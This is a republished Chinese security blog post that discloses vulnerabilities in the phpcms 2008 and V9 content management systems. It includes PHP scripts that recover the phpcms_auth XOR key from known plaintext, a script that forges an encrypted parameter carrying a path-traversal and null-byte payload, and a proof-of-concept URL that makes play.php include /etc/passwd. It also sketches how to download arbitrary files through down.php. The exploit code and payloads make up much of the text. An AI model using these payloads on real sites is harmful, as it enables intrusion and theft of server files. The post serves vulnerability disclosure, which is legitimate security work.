phpcms的phpcms_auth導致的任意變數覆蓋漏洞、本地檔案包含漏洞和任意檔案下載漏洞

技術小美發表於2017-11-10

 phpcms的phpcms_auth導致的本地檔案包含漏洞和任意檔案下載漏洞

by c4rp3nt3r@0x50sec.org

mail: c4rp3nt3r#gmail.com

HomePage:http://www.0x50sec.org

phpcms_auth函式是phpcms裡面為了增強程式的安全性的一個加密函式,在play.php、down.php 、download.php等等檔案用它來對使用者提交的加密字串進行解密,進入程式流程,如果我們可以控制了phpcms_auth函式的解密,我們就可以通過注射我們的惡意程式碼,進行攻擊。

而phpcms_auth採用的是可逆的位異或演算法,並且對加密的結果進行了base64編碼。

對於位異或演算法來說只要我們破解了金鑰字串$key我們就完全控制了這個函式的加密解密。

對於base64編碼主要是處理某些加密後的不可見字元,但是這給了我們一個很好的機會:

就是說我們破解了$key之後,我們就可以不受magic_quotes_pgc的限制引入%00字串進行階段,或者引入引號發起其他攻擊。

到此已經違背了這個程式設計的初衷,破解了這個函式之後,一方面反而更加不安全了,另一方面所有建立在這個函式之上的機制可能都會受到攻擊。

// include/global.func.php

function phpcms_auth($txt, $operation = `ENCODE`, $key = ``)

{

$key    = $key ? $key : $GLOBALS[`phpcms_auth_key`];

$txt    = $operation == `ENCODE` ? $txt : base64_decode($txt);

$len    = strlen($key);

$code    = ``;

 

for($i=0; $i<strlen($txt); $i++){

$k        = $i % $len;    //迴圈使用金鑰字串對字串逐位進行異或

$code  .= $txt[$i] ^ $key[$k];

}

$code = $operation == `DECODE` ? $code : base64_encode($code);

return $code;

}

對於$key的破解

對於位運算的異或運算,是可逆的,明文和金鑰異或得到密文。如果我們知道密文並且知道一部分明文那麼我們也就可以得到金鑰,有了金鑰我們就可以破解另一部分密文,當然也就可以對我們自己的明文進行加密,然後用我們精心構造的密文發起攻擊了。


不幸的是phpcms的確給了我們可用來破解金鑰的明文。

// include/fields/downfile/output.inc.php

 

function downfile($field, $value)

{

$contentid = $this->contentid;

$mode = $this->fields[$field][`mode`];

$result = ``;

if($mode)

{

$servers = $this->fields[$field][`servers`];

$downloadtype = $this->fields[$field][`downloadtype`];

$servers = explode("
",$servers);

foreach($servers AS $k=>$server)

{

$server = explode("|",$server);

$serverurl = $server[1];

$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", `ENCODE`, AUTH_KEY));

$result .= "<a href=`down.php?a_k=$a_k` target=`_blank`>$server[0]</a>";

}

}

else

{

$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", `ENCODE`, AUTH_KEY));

$result = "<a href=`down.php?a_k=$a_k` target=`_blank`>點選下載</a>";

}

return $result;

}

這個檔案是用來生成靜態html檔案的,預設安裝的phpcms某個軟體的下載頁面地址為:

http://127.0.0.1/n/phpcms/2011/0331/2.html

進入下載檔案的下載地址為:

http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

對加密字串解密後為

密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1

這裡2.html的2就是資料庫裡id的值,如果沒有設定映象站點的話$serverurl為空

也就是說”i=2&s=&m=1&f=”是不會變的,我們可以破解12位的金鑰了。

預設的話金鑰有20位,如果使用者上傳目錄沒修改的話我們知道的明文就有”i=2&s=&m=0&f=uploadfile”共23個字元,可以得到全部金鑰了。

$key="i=2&s=&m=0&f=uploadfile";

$txt=`GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D`;

$txt=base64_decode(urldecode($txt));

$len=strlen($key);

echo $len;

for($i=0;$i<strlen($key);$i++)

{

$code  .= $txt[$i] ^ $key[$i];

}

echo $code;

?>


執行結果為:sIpeofogblFVCildZEwesIp

可以看到sIp開始下一個迴圈加密了,所以金鑰就是:sIpeofogblFVCildZEwe

還有一點就是下載的時候我們可以得到檔名:20110331121233766.zip

d的值是下載檔案的型別,假設我們不知道也不要緊

就是說明文:20110331121233766.zip&d=是已知的有24位

密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

$key="20110331121233766.zip&d=";

$txt=`GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D`;

 

$txt=base64_decode(urldecode($txt));

$tlen=strlen($txt);

$klen=strlen($key);

for($i=1;$i<strlen($key);$i++)

{

$code  .= $txt[$tlen-$i-1] ^ $key[$klen-$i];

}

echo $code."
";

echo $tlen."
";

?>


執行結果為:

EZdliCVFlbgofoepIsewEZd

59

來看phpcms_auth原始碼
/*

...

$len    = strlen($key);

...

 

for($i=0; $i<strlen($txt); $i++){

$k        = $i % $len;

$code  .= $txt[$i] ^ $key[$k];

}

...

*/

我們可以知道

$key[17]=’E`;

我們可以得到倒序的金鑰字串:

ewEZdliCVFlbgofoepIs

然後我們把字串翻轉過來終端下執行:

alone@Sh3llc0de:~$ echo ‘ewEZdliCVFlbgofoepIs’|rev

sIpeofogblFVCildZEwe

我們的金鑰字串就是:sIpeofogblFVCildZEwe

到此我們已經從一個攻擊者的角度破解出了金鑰。接下來我們看看由此引發的幾個安全問題

————————————-

1.phpcms2008 sp2-sp4 本地檔案包含漏洞

這個漏洞跟boblog剛爆出的任意變數覆蓋漏洞有些相似,都是任意變數覆蓋然後僅跟了一個本地檔案包含。這種漏洞也是很好玩的,攻擊的方法更靈活。

//play.php

require dirname(__FILE__).`/include/common.inc.php`;

if(!isset($a_k)) showmessage($LANG[`illegal_parameters`]);

//common.inc.php檔案的全域性變數機制已經將所有GPC資料匯出為變數了

//所以$a_k=$_GET[$a_k];

$a_k = phpcms_auth($a_k, `DECODE`, AUTH_KEY); //這裡是關鍵分析見上文

if(empty($a_k)) showmessage($LANG[`illegal_parameters`]);

unset($i, $m, $f, $p);

parse_str($a_k);    //parse_str處理解密後的$a_k將導致變數覆蓋

//通過覆蓋下文的$mod 或者$templateid將觸發本地檔案包含漏洞

//由於我們提交的密文會經過phpcms_auth函式中base64解密的,所以直接無視magic_quotes_gpc的影響而可以NULL字元截斷

//但是高版本的PHP修復了%00的攻擊缺陷


if(isset($i)) $i = intval($i);

if(!isset($m)) showmessage($LANG[`illegal_parameters`]);


if(empty($f)) showmessage(`地址失效`);

if(preg_match(`/.php$/`,$f) || strpos($f, ":\")) showmessage(`地址有誤`);

if(!$i || $m<0) showmessage($LANG[`illegal_parameters`]);

$allow_readpoint = 1;

// include global.fuc.php

/*

...

$M = $TEMP = array();

if(!isset($mod)) $mod = `phpcms`;

if($mod != `phpcms`)

{

isset($MODULE[$mod]) or exit($LANG[`module_not_exists`]);

$langfile = defined(`IN_ADMIN`) ? $mod.`_admin` : $mod;

@include PHPCMS_ROOT.`languages/`.LANG.`/`.$langfile.`.lang.php`;

$M = cache_read(`module_`.$mod.`.php`);

}

...

*/

//此處通過上文的對$mod進行變數覆蓋繞過下面的if語句

if($mod == `phpcms`)

{

$contentid = $i;

include `admin/content.class.php`;

$content = new content;

$data = $content->get($contentid);

$readpoint = $data[`readpoint`];


$title = $data[`title`];

$keys = array_keys($data);


if(in_array(`groupids_view`,$keys))

{

if($data[`groupids_view`])

{

if(!$priv_group->check(`contentid`, $contentid, `view`, $_groupid)) showmessage(`您沒有檢視許可權`);

}

if(in_array(`readpoint`, $keys))

{

$C = cache_read(`category_`.$data[`catid`].`.php`);

if($C[`defaultchargepoint`] || !empty($readpoint))

{

$readpoint = $readpoint ? $readpoint : $C[`defaultchargepoint`];

$pay = load(`pay_api.class.php`, `pay`, `api`);

if($C[`repeatchargedays`])

{

if($pay->is_exchanged($contentid, $C[`repeatchargedays`]) === FALSE)

{

$allow_readpoint = 0;

}

}

else

{

session_start();

if($_SESSION[`pay_contentid`] != $contentid) $allow_readpoint = 0;

}

}

}

}

}


$player = load(`player.class.php`);

$result = $player->get($p);

@extract($result);

$videourl = trim($f);

$code = str_replace(`{$filepath}`,$videourl, $code);

$code = str_replace(`{$PHPCMS[siteurl]}`, $PHPCMS[`siteurl`], $code);

$code = str_replace(`{$PHPCMS[sitename]}`, $PHPCMS[`sitename`], $code);

$templateid = $templateid ? $templateid : `play`;

include template($mod, $templateid);

/*

// include/global.fuc.php

// function template 起到一個連線字串的作用


function template($module = `phpcms`, $template = `index`, $istag = 0)

{

$compiledtplfile = TPL_CACHEPATH.$module.`_`.$template.`.tpl.php`;

if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.`/`.$module.`/`.$template.`.html`) > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.`/tag.inc.php`) > @filemtime($compiledtplfile)))

{

require_once PHPCMS_ROOT.`include/template.func.php`;

template_compile($module, $template, $istag);

}

return $compiledtplfile;

}


*/

?>

接下來生成我們的攻擊字串:
$key=`sIpeofogblFVCildZEwe`;

$evil=`i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org`;

//經過parse_str($evil);後c4rp3nt3r變數並沒有被建立

//這個地方我也不是很明白為什麼可以進行截斷

//但事實上真的可以截斷

$evil = phpcms_auth($evil, `ENCODE`, $key);

echo $evil."
";

function phpcms_auth($txt, $operation = `ENCODE`, $key)

{

$txt    = $operation == `ENCODE` ? $txt : base64_decode($txt);

$len    = strlen($key);

$code    = ``;

for($i=0; $i<strlen($txt); $i++){

$k        = $i % $len;

$code  .= $txt[$i] ^ $key[$k];

}

$code = $operation == `DECODE` ? $code : base64_encode($code);

return $code;

}

?>

alone@Sh3llc0de:/var/www$ php v.php

GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL

POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL

成功包含了/etc/passwd

2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意檔案下載漏洞

以phpcms2008為例

down.php 和download.php都存在這個漏洞,具體利用跟上面的檔案包含差不多就不多羅嗦了,成功利用此漏洞可以下載任意檔案,包括.php字尾的檔案。

只是download.php的加密方式是:

//download.php



$phpcms_auth_key = md5(AUTH_KEY.$_SERVER[`HTTP_USER_AGENT`]);

$a_k = phpcms_auth($a_k, ‘DECODE’, $phpcms_auth_key);



這樣可能主要是為了仿製迅雷等瀏覽器的下載。但是既然我們知道了AUTH_KEY(見上文分析的金鑰$key),$_SERVER[`HTTP_USER_AGENT`]是由使用者提交的,那麼$phpcms_auth_key 我們自然也就知道了。

除了上面說的知道部分明文來算$key,還有可能暴力破解$key.

還有就是經過md5加密後也未必就更安全,因為系統生成的$key有20位但是每一位都肯能個是大寫或者小寫字母,也就是有52種可能,但是經過md5加密後每一位就變成只有16種可能了,大大增加了被暴力破解的可能性。

全文結束

參考和致謝:

80vul.com《高階PHP應用程式漏洞稽核技術》

Ryat[puretot] 《bo-blog任意變數覆蓋漏洞》

本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/537457,如需轉載請自行聯絡原作者


相關文章